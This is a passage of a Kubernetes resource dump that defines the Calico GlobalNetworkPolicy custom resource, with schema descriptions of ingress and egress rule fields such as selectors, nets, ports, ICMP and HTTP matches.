originates from or terminates at endpoints within the selected\nservice(s) will be matched, and only to/from each endpoint's port.\n\nServices cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,\nNotNets or ServiceAccounts.\n\nPorts and NotPorts can only be specified with Services on ingress rules.","properties":{"name":{"description":"Name specifies the name of a Kubernetes Service to match.","type":"string"},"namespace":{"description":"Namespace specifies the namespace of the given Service. If left empty, the rule\nwill match within this policy's namespace.","type":"string"}},"type":"object"}},"type":"object"}},"required":["action"],"type":"object"},"type":"array"},"ingress":{"description":"The ordered set of ingress rules.  Each rule contains a set of packet match criteria and\na corresponding action to apply.","items":{"description":"A Rule encapsulates a set of match criteria and an action.  Both selector-based security Policy\nand security Profiles reference rules - separated out as a list of rules for both\ningress and egress packet matching.\n\nEach positive match criteria has a negated version, prefixed with \"Not\". All the match\ncriteria within a rule must be satisfied for a packet to match. A single rule can contain\nthe positive and negative version of a match and both must be satisfied for the rule to match.","properties":{"action":{"type":"string"},"destination":{"description":"Destination contains the match criteria that apply to destination entity.","properties":{"namespaceSelector":{"description":"NamespaceSelector is an optional field that contains a selector expression. Only traffic\nthat originates from (or terminates at) endpoints within the selected namespaces will be\nmatched. When both NamespaceSelector and another selector are defined on the same rule, then only\nworkload endpoints that are matched by both selectors will be selected by the rule.\n\nFor NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting\nonly workload endpoints in the same namespace as the NetworkPolicy.\n\nFor NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting\nonly GlobalNetworkSet or HostEndpoint.\n\nFor GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload\nendpoints across all namespaces.","type":"string"},"nets":{"description":"Nets is an optional field that restricts the rule to only apply to traffic that\noriginates from (or terminates at) IP addresses in any of the given subnets.","items":{"type":"string"},"type":"array"},"notNets":{"description":"NotNets is the negated version of the Nets field.","items":{"type":"string"},"type":"array"},"notPorts":{"description":"NotPorts is the negated version of the Ports field.\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"notSelector":{"description":"NotSelector is the negated version of the Selector field.  See Selector field for\nsubtleties with negated selectors.","type":"string"},"ports":{"description":"Ports is an optional field that restricts the rule to only apply to traffic that has a\nsource (destination) port that matches one of these ranges/values. This value is a\nlist of integers or strings that represent ranges of ports.\n\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"selector":{"description":"Selector is an optional field that contains a selector expression (see Policy for\nsample syntax).  Only traffic that originates from (terminates at) endpoints matching\nthe selector will be matched.\n\nNote that: in addition to the negated version of the Selector (see NotSelector below), the\nselector expression syntax itself supports negation.  The two types of negation are subtly\ndifferent. One negates the set of matched endpoints, the other negates the whole match:\n\n\tSelector = \"!has(my_label)\" matches packets that are from other Calico-controlled\n\tendpoints that do not have the label \"my_label\".\n\n\tNotSelector = \"has(my_label)\" matches packets that are not from Calico-controlled\n\tendpoints that do have the label \"my_label\".\n\nThe effect is that the latter will accept packets from non-Calico sources whereas the\nformer is limited to packets from Calico-controlled endpoints.","type":"string"},"serviceAccounts":{"description":"ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or\nterminates at) a pod running as a matching service account.","properties":{"names":{"description":"Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates\nat) a pod running as a service account whose name is in the list.","items":{"type":"string"},"type":"array"},"selector":{"description":"Selector is an optional field that restricts the rule to only apply to traffic that originates from\n(or terminates at) a pod running as a service account that matches the given label selector.\nIf both Names and Selector are specified then they are AND'ed.","type":"string"}},"type":"object"},"services":{"description":"Services is an optional field that contains options for matching Kubernetes Services.\nIf specified, only traffic that originates from or terminates at endpoints within the selected\nservice(s) will be matched, and only to/from each endpoint's port.\n\nServices cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,\nNotNets or ServiceAccounts.\n\nPorts and NotPorts can only be specified with Services on ingress rules.","properties":{"name":{"description":"Name specifies the name of a Kubernetes Service to match.","type":"string"},"namespace":{"description":"Namespace specifies the namespace of the given Service. If left empty, the rule\nwill match within this policy's namespace.","type":"string"}},"type":"object"}},"type":"object"},"http":{"description":"HTTP contains match criteria that apply to HTTP requests.","properties":{"methods":{"description":"Methods is an optional field that restricts the rule to apply only to HTTP requests that use one of the listed\nHTTP Methods (e.g. GET, PUT, etc.)\nMultiple methods are OR'd together.","items":{"type":"string"},"type":"array"},"paths":{"description":"Paths is an optional field that restricts the rule to apply to HTTP requests that use one of the listed\nHTTP Paths.\nMultiple paths are OR'd together.\ne.g:\n- exact: /foo\n- prefix: /bar\nNOTE: Each entry may ONLY specify either a `exact` or a `prefix` match. The validator will check for it.","items":{"description":"HTTPPath specifies an HTTP path to match. It may be either of the form:\nexact: \u003cpath\u003e: which matches the path exactly or\nprefix: \u003cpath-prefix\u003e: which matches the path prefix","properties":{"exact":{"type":"string"},"prefix":{"type":"string"}},"type":"object"},"type":"array"}},"type":"object"},"icmp":{"description":"ICMP is an optional field that restricts the rule to apply to a specific type and\ncode of ICMP traffic.  This should only be specified if the Protocol field is set to\n\"ICMP\" or \"ICMPv6\".","properties":{"code":{"description":"Match on a specific ICMP code.  If specified, the Type value must also be specified.\nThis is a technical limitation imposed by the kernel's iptables firewall, which\nCalico uses to enforce the rule.","type":"integer"},"type":{"description":"Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request\n(i.e. pings).","type":"integer"}},"type":"object"},"ipVersion":{"description":"IPVersion is an optional field that restricts the rule to only match a specific IP\nversion.","type":"integer"},"metadata":{"description":"Metadata contains additional information for this rule","properties":{"annotations":{"additionalProperties":{"type":"string"},"description":"Annotations is a set of key value pairs that give extra information about the rule","type":"object"}},"type":"object"},"notICMP":{"description":"NotICMP is the negated version of the ICMP field.","properties":{"code":{"description":"Match on a specific ICMP code.  If specified, the Type value must also be specified.\nThis is a technical limitation imposed by the kernel's iptables firewall, which\nCalico uses to enforce the rule.","type":"integer"},"type":{"description":"Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request\n(i.e. pings).","type":"integer"}},"type":"object"},"notProtocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"NotProtocol is the negated version of the Protocol field.","pattern":"^.*","x-kubernetes-int-or-string":true},"protocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Protocol is an optional field that restricts the rule to only apply to traffic of\na specific IP protocol. Required if any of the EntityRules contain Ports\n(because ports only apply to certain protocols).\n\nMust be one of these string values: \"TCP\", \"UDP\", \"ICMP\", \"ICMPv6\", \"SCTP\", \"UDPLite\"\nor an integer in the range 1-255.","pattern":"^.*","x-kubernetes-int-or-string":true},"source":{"description":"Source contains the match criteria that apply to source entity.","properties":{"namespaceSelector":{"description":"NamespaceSelector is an optional field that contains a selector expression. Only traffic\nthat originates from (or terminates at) endpoints within the selected namespaces will be\nmatched. When both NamespaceSelector and another selector are defined on the same rule, then only\nworkload endpoints that are matched by both selectors will be selected by the rule.\n\nFor NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting\nonly workload endpoints in the same namespace as the NetworkPolicy.\n\nFor NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting\nonly GlobalNetworkSet or HostEndpoint.\n\nFor GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload\nendpoints across all namespaces.","type":"string"},"nets":{"description":"Nets is an optional field that restricts the rule to only apply to traffic that\noriginates from (or terminates at) IP addresses in any of the given subnets.","items":{"type":"string"},"type":"array"},"notNets":{"description":"NotNets is the negated version of the Nets field.","items":{"type":"string"},"type":"array"},"notPorts":{"description":"NotPorts is the negated version of the Ports field.\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"notSelector":{"description":"NotSelector is the negated version of the Selector field.  See Selector field for\nsubtleties with negated selectors.","type":"string"},"ports":{"description":"Ports is an optional field that restricts the rule to only apply to traffic that has a\nsource (destination) port that matches one of these ranges/values. This value is a\nlist of integers or strings that represent ranges of ports.\n\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"selector":{"description":"Selector is an optional field that contains a selector expression (see Policy for\nsample syntax).  Only traffic that originates from (terminates at) endpoints matching\nthe selector will be matched.\n\nNote that: in addition to the negated version of the Selector (see NotSelector below), the\nselector expression syntax itself supports negation.  The two types of negation are subtly\ndifferent. One negates the set of matched endpoints, the other negates the whole match:\n\n\tSelector = \"!has(my_label)\" matches packets that are from other Calico-controlled\n\tendpoints that do not have the label \"my_label\".\n\n\tNotSelector = \"has(my_label)\" matches packets that are not from Calico-controlled\n\tendpoints that do have the label \"my_label\".\n\nThe effect is that the latter will accept packets from non-Calico sources whereas the\nformer is limited to packets from Calico-controlled endpoints.","type":"string"},"serviceAccounts":{"description":"ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or\nterminates at) a pod running as a matching service account.","properties":{"names":{"description":"Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates\nat) a pod running as a service account whose name is in the list.","items":{"type":"string"},"type":"array"},"selector":{"description":"Selector is an optional field that restricts the rule to only apply to traffic that originates from\n(or terminates at) a pod running as a service account that matches the given label selector.\nIf both Names and Selector are specified then they are AND'ed.","type":"string"}},"type":"object"},"services":{"description":"Services is an optional field that contains options for matching Kubernetes Services.\nIf specified, only traffic that originates from or terminates at endpoints within the selected\nservice(s) will be matched, and only to/from each endpoint's port.\n\nServices cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,\nNotNets or ServiceAccounts.\n\nPorts and NotPorts can only be specified with Services on ingress rules.","properties":{"name":{"description":"Name specifies the name of a Kubernetes Service to match.","type":"string"},"namespace":{"description":"Namespace specifies the namespace of the given Service. If left empty, the rule\nwill match within this policy's namespace.","type":"string"}},"type":"object"}},"type":"object"}},"required":["action"],"type":"object"},"type":"array"},"namespaceSelector":{"description":"NamespaceSelector is an optional field for an expression used to select a pod based on namespaces.","type":"string"},"order":{"description":"Order is an optional field that specifies the order in which the policy is applied.\nPolicies with higher \"order\" are applied after those with lower\norder within the same tier.  If the order is omitted, it may be considered to be \"infinite\" - i.e. the\npolicy will be applied last.  Policies with identical order will be applied in\nalphanumerical order based on the Policy \"Name\" within the tier.","type":"number"},"performanceHints":{"description":"PerformanceHints contains a list of hints to Calico's policy engine to\nhelp process the policy more efficiently.  Hints never change the\nenforcement behaviour of the policy.\n\nCurrently, the only available hint is \"AssumeNeededOnEveryNode\".  When\nthat hint is set on a policy, Felix will act as if the policy matches\na local endpoint even if it does not. This is useful for \"preloading\"\nany large static policies that are known to be used on every node.\nIf the policy is _not_ used on a particular node then the work\ndone to preload the policy (and to maintain it) is wasted.","items":{"type":"string"},"type":"array"},"preDNAT":{"description":"PreDNAT indicates to apply the rules in this policy before any DNAT.","type":"boolean"},"selector":{"description":"The selector is an expression used to pick out the endpoints that the policy should\nbe applied to.\n\nSelector expressions follow this syntax:\n\n\tlabel == \"string_literal\"  -\u003e  comparison, e.g. my_label == \"foo bar\"\n\tlabel != \"string_literal\"   -\u003e  not equal; also matches if label is not present\n\tlabel in { \"a\", \"b\", \"c\", ... }  -\u003e  true if the value of label X is one of \"a\", \"b\", \"c\"\n\tlabel not in { \"a\", \"b\", \"c\", ... }  -\u003e  true if the value of label X is not one of \"a\", \"b\", \"c\"\n\thas(label_name)  -\u003e True if that label is present\n\t! expr -\u003e negation of expr\n\texpr \u0026\u0026 expr  -\u003e Short-circuit and\n\texpr || expr  -\u003e Short-circuit or\n\t( expr ) -\u003e parens for grouping\n\tall() or the empty selector -\u003e matches all endpoints.\n\nLabel names are allowed to contain alphanumerics, -, _ and /. String literals are more permissive\nbut they do not support escape characters.\n\nExamples (with made-up labels):\n\n\ttype == \"webserver\" \u0026\u0026 deployment == \"prod\"\n\ttype in {\"frontend\", \"backend\"}\n\tdeployment != \"dev\"\n\t! has(label_name)","type":"string"},"serviceAccountSelector":{"description":"ServiceAccountSelector is an optional field for an expression used to select a pod based on service accounts.","type":"string"},"tier":{"description":"The name of the tier that this policy belongs to.  If this is omitted, the default\ntier (name is \"default\") is assumed.  The specified tier must exist in order to create\nsecurity policies within the tier, the \"default\" tier is created automatically if it\ndoes not exist, this means for deployments requiring only a single Tier, the tier name\nmay be omitted on all policy management requests.","type":"string"},"types":{"description":"Types indicates whether this policy applies to ingress, or to egress, or to both.  When\nnot explicitly specified (and so the value on creation is empty or nil), Calico defaults\nTypes according to what Ingress and Egress rules are present in the policy.  The\ndefault is:\n\n- [ PolicyTypeIngress ], if there are no Egress rules (including the case where there are\n  also no Ingress rules)\n\n- [ PolicyTypeEgress ], if there are Egress rules but no Ingress rules\n\n- [ PolicyTypeIngress, PolicyTypeEgress ], if there are both Ingress and Egress rules.\n\nWhen the policy is read back again, Types will always be one of these values, never empty\nor nil.","items":{"description":"PolicyType enumerates the possible values of the PolicySpec Types field.","type":"string"},"type":"array"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    generation: 3
    name: globalnetworkpolicies.crd.projectcalico.org
    resourceVersion: "6820655"
    uid: 5858a12e-5dee-4bab-aefa-d110c2d0c90f
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: GlobalNetworkPolicy
      listKind: GlobalNetworkPolicyList
      plural: globalnetworkpolicies
      singular: globalnetworkpolicy
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              properties:
                applyOnForward:
                  description: ApplyOnForward indicates to apply the rules in this
                    policy on forward traffic.
                  type: boolean
                doNotTrack:
                  description: |-
                    DoNotTrack indicates whether packets matched by the rules in this policy should go through
                    the data plane's connection tracking, such as Linux conntrack.  If True, the rules in
                    this policy are applied before any data plane connection tracking, and packets allowed by
                    this policy are marked as not to be tracked.
                  type: boolean
                egress:
                  description: |-
                    The ordered set of egress rules.  Each rule contains a set of packet match criteria and
                    a corresponding action to apply.
                  items:
                    description: |-
                      A Rule encapsulates a set of match criteria and an action.  Both selector-based security Policy
                      and security Profiles reference rules - separated out as a list of rules for both
                      ingress and egress packet matching.

                      Each positive match criteria has a negated version, prefixed with "Not". All the match
                      criteria within a rule must be satisfied for a packet to match. A single rule can contain
                      the positive and negative version of a match and both must be satisfied for the rule to match.
                    properties:
                      action:
                        type: string
                      destination:
                        description: Destination contains the match criteria that
                          apply to destination entity.
                        properties:
                          namespaceSelector:
                            description: |-
                              NamespaceSelector is an optional field that contains a selector expression. Only traffic
                              that originates from (or terminates at) endpoints within the selected namespaces will be
                              matched. When both NamespaceSelector and another selector are defined on the same rule, then only
                              workload endpoints that are matched by both selectors will be selected by the rule.

                              For NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting
                              only workload endpoints in the same namespace as the NetworkPolicy.

                              For NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting
                              only GlobalNetworkSet or HostEndpoint.

                              For GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload
                              endpoints across all namespaces.
                            type: string
                          nets:
                            description: |-
                              Nets is an optional field that restricts the rule to only apply to traffic that
                              originates from (or terminates at) IP addresses in any of the given subnets.
                            items:
                              type: string
                            type: array
                          notNets:
                            description: NotNets is the negated version of the Nets
                              field.
                            items:
                              type: string
                            type: array
                          notPorts:
                            description: |-
                              NotPorts is the negated version of the Ports field.
                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          notSelector:
                            description: |-
                              NotSelector is the negated version of the Selector field.  See Selector field for
                              subtleties with negated selectors.
                            type: string
                          ports:
                            description: |-
                              Ports is an optional field that restricts the rule to only apply to traffic that has a
                              source (destination) port that matches one of these ranges/values. This value is a
                              list of integers or strings that represent ranges of ports.

                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          selector:
                            description: "Selector is an optional field that contains
                              a selector expression (see Policy for\nsample syntax).
                              \ Only traffic that originates from (terminates at)
                              endpoints matching\nthe selector will be matched.\n\nNote
                              that: in addition to the negated version of the Selector
                              (see NotSelector below), the\nselector expression syntax
                              itself supports negation.  The two types of negation
                              are subtly\ndifferent. One negates the set of matched
                              endpoints, the other negates the whole match:\n\n\tSelector
                              = \"!has(my_label)\" matches packets that are from other
                              Calico-controlled\n\tendpoints that do not have the
                              label \"my_label\".\n\n\tNotSelector = \"has(my_label)\"
                              matches packets that are not from Calico-controlled\n\tendpoints
                              that do have the label \"my_label\".\n\nThe effect is
                              that the latter will accept packets from non-Calico
                              sources whereas the\nformer is limited to packets from
                              Calico-controlled endpoints."
                            type: string
                          serviceAccounts:
                            description: |-
                              ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or
                              terminates at) a pod running as a matching service account.
                            properties:
                              names:
                                description: |-
                                  Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates
                                  at) a pod running as a service account whose name is in the list.
                                items:
                                  type: string
                                type: array
                              selector:
                                description: |-
                                  Selector is an optional field that restricts the rule to only apply to traffic that originates from
                                  (or terminates at) a pod running as a service account that matches the given label selector.
                                  If both Names and Selector are specified then they are AND'ed.
                                type: string
                            type: object
                          services:
                            description: |-
                              Services is an optional field that contains options for matching Kubernetes Services.
                              If specified, only traffic that originates from or terminates at endpoints within the selected
                              service(s) will be matched, and only to/from each endpoint's port.

                              Services cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,
                              NotNets or ServiceAccounts.

                              Ports and NotPorts can only be specified with Services on ingress rules.
                            properties:
                              name:
                                description: Name specifies the name of a Kubernetes
                                  Service to match.
                                type: string
                              namespace:
                                description: |-
                                  Namespace specifies the namespace of the given Service. If left empty, the rule
                                  will match within this policy's namespace.
                                type: string
                            type: object
                        type: object
                      http:
                        description: HTTP contains match criteria that apply to HTTP
                          requests.
                        properties:
                          methods:
                            description: |-
                              Methods is an optional field that restricts the rule to apply only to HTTP requests that use one of the listed
                              HTTP Methods (e.g. GET, PUT, etc.)
                              Multiple methods are OR'd together.
                            items:
                              type: string
                            type: array
                          paths:
                            description: |-
                              Paths is an optional field that restricts the rule to apply to HTTP requests that use one of the listed
                              HTTP Paths.
                              Multiple paths are OR'd together.
                              e.g:
                              - exact: /foo
                              - prefix: /bar
                              NOTE: Each entry may ONLY specify either a `exact` or a `prefix` match. The validator will check for it.
                            items:
                              description: |-
                                HTTPPath specifies an HTTP path to match. It may be either of the form:
                                exact: <path>: which matches the path exactly or
                                prefix: <path-prefix>: which matches the path prefix
                              properties:
                                exact:
                                  type: string
                                prefix:
                                  type: string
                              type: object
                            type: array
                        type: object
                      icmp:
                        description: |-
                          ICMP is an optional field that restricts the rule to apply to a specific type and
                          code of ICMP traffic.  This should only be specified if the Protocol field is set to
                          "ICMP" or "ICMPv6".
                        properties:
                          code:
                            description: |-
                              Match on a specific ICMP code.  If specified, the Type value must also be specified.
                              This is a technical limitation imposed by the kernel's iptables firewall, which
                              Calico uses to enforce the rule.
                            type: integer
                          type:
                            description: |-
                              Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request
                              (i.e. pings).
                            type: integer
                        type: object
                      ipVersion:
                        description: |-
                          IPVersion is an optional field that restricts the rule to only match a specific IP
                          version.
                        type: integer
                      metadata:
                        description: Metadata contains additional information for
                          this rule
                        properties:
                          annotations:
                            additionalProperties:
                              type: string
                            description: Annotations is a set of key value pairs that
                              give extra information about the rule
                            type: object
                        type: object
                      notICMP:
                        description: NotICMP is the negated version of the ICMP field.
                        properties:
                          code:
                            description: |-
                              Match on a specific ICMP code.  If specified, the Type value must also be specified.
                              This is a technical limitation imposed by the kernel's iptables firewall, which
                              Calico uses to enforce the rule.
                            type: integer
                          type:
                            description: |-
                              Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request
                              (i.e. pings).
                            type: integer
                        type: object
                      notProtocol:
                        anyOf:
                        - type: integer
                        - type: string
                        description: NotProtocol is the negated version of the Protocol
                          field.
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                      protocol:
                        anyOf:
                        - type: integer
                        - type: string
                        description: |-
                          Protocol is an optional field that restricts the rule to only apply to traffic of
                          a specific IP protocol. Required if any of the EntityRules contain Ports
                          (because ports only apply to certain protocols).

                          Must be one of these string values: "TCP", "UDP", "ICMP", "ICMPv6", "SCTP", "UDPLite"
                          or an integer in the range 1-255.
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                      source:
                        description: Source contains the match criteria that apply
                          to source entity.
                        properties:
                          namespaceSelector:
                            description: |-
                              NamespaceSelector is an optional field that contains a selector expression. Only traffic
                              that originates from (or terminates at) endpoints within the selected namespaces will be
                              matched. When both NamespaceSelector and another selector are defined on the same rule, then only
                              workload endpoints that are matched by both selectors will be selected by the rule.

                              For NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting
                              only workload endpoints in the same namespace as the NetworkPolicy.

                              For NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting
                              only GlobalNetworkSet or HostEndpoint.

                              For GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload
                              endpoints across all namespaces.
                            type: string
                          nets:
                            description: |-
                              Nets is an optional field that restricts the rule to only apply to traffic that
                              originates from (or terminates at) IP addresses in any of the given subnets.
                            items:
                              type: string
                            type: array
                          notNets:
                            description: NotNets is the negated version of the Nets
                              field.
                            items:
                              type: string
                            type: array
                          notPorts:
                            description: |-
                              NotPorts is the negated version of the Ports field.
                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          notSelector:
                            description: |-
                              NotSelector is the negated version of the Selector field.  See Selector field for
                              subtleties with negated selectors.
                            type: string
                          ports:
                            description: |-
                              Ports is an optional field that restricts the rule to only apply to traffic that has a
                              source (destination) port that matches one of these ranges/values. This value is a
                              list of integers or strings that represent ranges of ports.

                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          selector:
                            description: "Selector is an optional field that contains
                              a selector expression (see Policy for\nsample syntax).
                              \ Only traffic that originates from (terminates at)
                              endpoints matching\nthe selector will be matched.\n\nNote
                              that: in addition to the negated version of the Selector
                              (see NotSelector below), the\nselector expression syntax
                              itself supports negation.  The two types of negation
                              are subtly\ndifferent. One negates the set of matched
                              endpoints, the other negates the whole match:\n\n\tSelector
                              = \"!has(my_label)\" matches packets that are from other
                              Calico-controlled\n\tendpoints that do not have the
                              label \"my_label\".\n\n\tNotSelector = \"has(my_label)\"
                              matches packets that are not from Calico-controlled\n\tendpoints
                              that do have the label \"my_label\".\n\nThe effect is
                              that the latter will accept packets from non-Calico
                              sources whereas the\nformer is limited to packets from
                              Calico-controlled endpoints."
                            type: string
                          serviceAccounts:
                            description: |-
                              ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or
                              terminates at) a pod running as a matching service account.
                            properties:
                              names:
                                description: |-
                                  Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates
                                  at) a pod running as a service account whose name is in the list.
                                items:
                                  type: string
                                type: array
                              selector:
                                description: |-
                                  Selector is an optional field that restricts the rule to only apply to traffic that originates from
                                  (or terminates at) a pod running as a service account that matches the given label selector.
                                  If both Names and Selector are specified then they are AND'ed.
                                type: string
                            type: object
                          services:
                            description: |-
                              Services is an optional field that contains options for matching Kubernetes Services.
                              If specified, only traffic that originates from or terminates at endpoints within the selected
                              service(s) will be matched, and only to/from each endpoint's port.

                              Services cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,
                              NotNets or ServiceAccounts.

                              Ports and NotPorts can only be specified with Services on ingress rules.
                            properties:
                              name:
                                description: Name specifies the name of a Kubernetes
                                  Service to match.
                                type: string
                              namespace:
                                description: |-
                                  Namespace specifies the namespace of the given Service. If left empty, the rule
                                  will match within this policy's namespace.
                                type: string
                            type: object
                        type: object
                    required:
                    - action
                    type: object
                  type: array
                ingress:
                  description: |-
                    The ordered set of ingress rules.  Each rule contains a set of packet match criteria and
                    a corresponding action to apply.
                  items:
                    description: |-
                      A Rule encapsulates a set of match criteria and an action.  Both selector-based security Policy
                      and security Profiles reference rules - separated out as a list of rules for both
                      ingress and egress packet matching.

                      Each positive match criteria has a negated version, prefixed with "Not". All the match
                      criteria within a rule must be satisfied for a packet to match. A single rule can contain
                      the positive and negative version of a match and both must be satisfied for the rule to match.
                    properties:
                      action:
                        type: string
                      destination:
                        description: Destination contains the match criteria that
                          apply to destination entity.
                        properties:
                          namespaceSelector:
                            description: |-
                              NamespaceSelector is an optional field that contains a selector expression. Only traffic
                              that originates from (or terminates at) endpoints within the selected namespaces will be
                              matched. When both NamespaceSelector and another selector are defined on the same rule, then only
                              workload endpoints that are matched by both selectors will be selected by the rule.

                              For NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting
                              only workload endpoints in the same namespace as the NetworkPolicy.

                              For NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting
                              only GlobalNetworkSet or HostEndpoint.

                              For GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload
                              endpoints across all namespaces.
                            type: string
                          nets:
                            description: |-
                              Nets is an optional field that restricts the rule to only apply to traffic that
                              originates from (or terminates at) IP addresses in any of the given subnets.
                            items:
                              type: string
                            type: array
                          notNets:
                            description: NotNets is the negated version of the Nets
                              field.
                            items:
                              type: string
                            type: array
                          notPorts:
                            description: |-
                              NotPorts is the negated version of the Ports field.
                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          notSelector:
                            description: |-
                              NotSelector is the negated version of the Selector field.  See Selector field for
                              subtleties with negated selectors.
                            type: string
                          ports:
                            description: |-
                              Ports is an optional field that restricts the rule to only apply to traffic that has a
                              source (destination) port that matches one of these ranges/values. This value is a
                              list of integers or strings that represent ranges of ports.

                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          selector:
                            description: "Selector is an optional field that contains
                              a selector expression (see Policy for\nsample syntax).
                              \ Only traffic that originates from (terminates at)
                              endpoints matching\nthe selector will be matched.\n\nNote
                              that: in addition to the negated version of the Selector
                              (see NotSelector below), the\nselector expression syntax
                              itself supports negation.  The two types of negation
                              are subtly\ndifferent. One negates the set of matched
                              endpoints, the other negates the whole match:\n\n\tSelector
                              = \"!has(my_label)\" matches packets that are from other
                              Calico-controlled\n\tendpoints that do not have the
                              label \"my_label\".\n\n\tNotSelector = \"has(my_label)\"
                              matches packets that are not from Calico-controlled\n\tendpoints
                              that do have the label \"my_label\".\n\nThe effect is
                              that the latter will accept packets from non-Calico
                              sources whereas the\nformer is limited to packets from
                              Calico-controlled endpoints."
                            type: string
                          serviceAccounts:
                            description: |-
                              ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or
                              terminates at) a pod running as a matching service account.
                            properties:
                              names:
                                description: |-
                                  Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates
                                  at) a pod running as a service account whose name is in the list.
                                items:
                                  type: string
                                type: array
                              selector:
                                description: |-
                                  Selector is an optional field that restricts the rule to only apply to traffic that originates from
                                  (or terminates at) a pod running as a service account that matches the given label selector.
                                  If both Names and Selector are specified then they are AND'ed.
                                type: string
                            type: object
                          services:
                            description: |-
                              Services is an optional field that contains options for matching Kubernetes Services.
                              If specified, only traffic that originates from or terminates at endpoints within the selected
                              service(s) will be matched, and only to/from each endpoint's port.

                              Services cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,
                              NotNets or ServiceAccounts.

                              Ports and NotPorts can only be specified with Services on ingress rules.
                            properties:
                              name:
                                description: Name specifies the name of a Kubernetes
                                  Service to match.
                                type: string
                              namespace:
                                description: |-
                                  Namespace specifies the namespace of the given Service. If left empty, the rule
                                  will match within this policy's namespace.
                                type: string
                            type: object
                        type: object
                      http:
                        description: HTTP contains match criteria that apply to HTTP
                          requests.
                        properties:
                          methods:
                            description: |-
